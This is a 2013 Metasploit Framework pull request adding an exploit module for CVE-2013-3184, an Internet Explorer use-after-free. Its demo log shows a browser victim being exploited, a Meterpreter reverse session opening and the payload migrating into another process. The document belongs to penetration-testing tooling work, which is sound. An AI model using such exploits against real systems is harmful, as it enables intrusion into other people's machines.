rapid7/metasploit-framework — pull request #2308 by wchen-r7 (2013-08-30 08:18:40+00:00)
Title: Add Initial Release of CVE-2013-3184 (MS13-058): CFlatMarkupPointer Use After Free

Initial release of CVE-2013-3184. Please see module description for more info.

Demo:

msf exploit(ms13_058_cflatmarkuppointer) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/YFDRDEct
[*] Local IP: http://10.0.1.76:8080/YFDRDEct
[*] Server started.
msf exploit(ms13_058_cflatmarkuppointer) >
[*] 10.0.1.79 ms13_058_cflatmarkuppointer - Sending exploit...
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.79:51131) at 2013-08-30 03:15:22 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.79:51131) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2536)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3800
[+] Successfully migrated to process

msf exploit(ms13_058_cflatmarkuppointer) >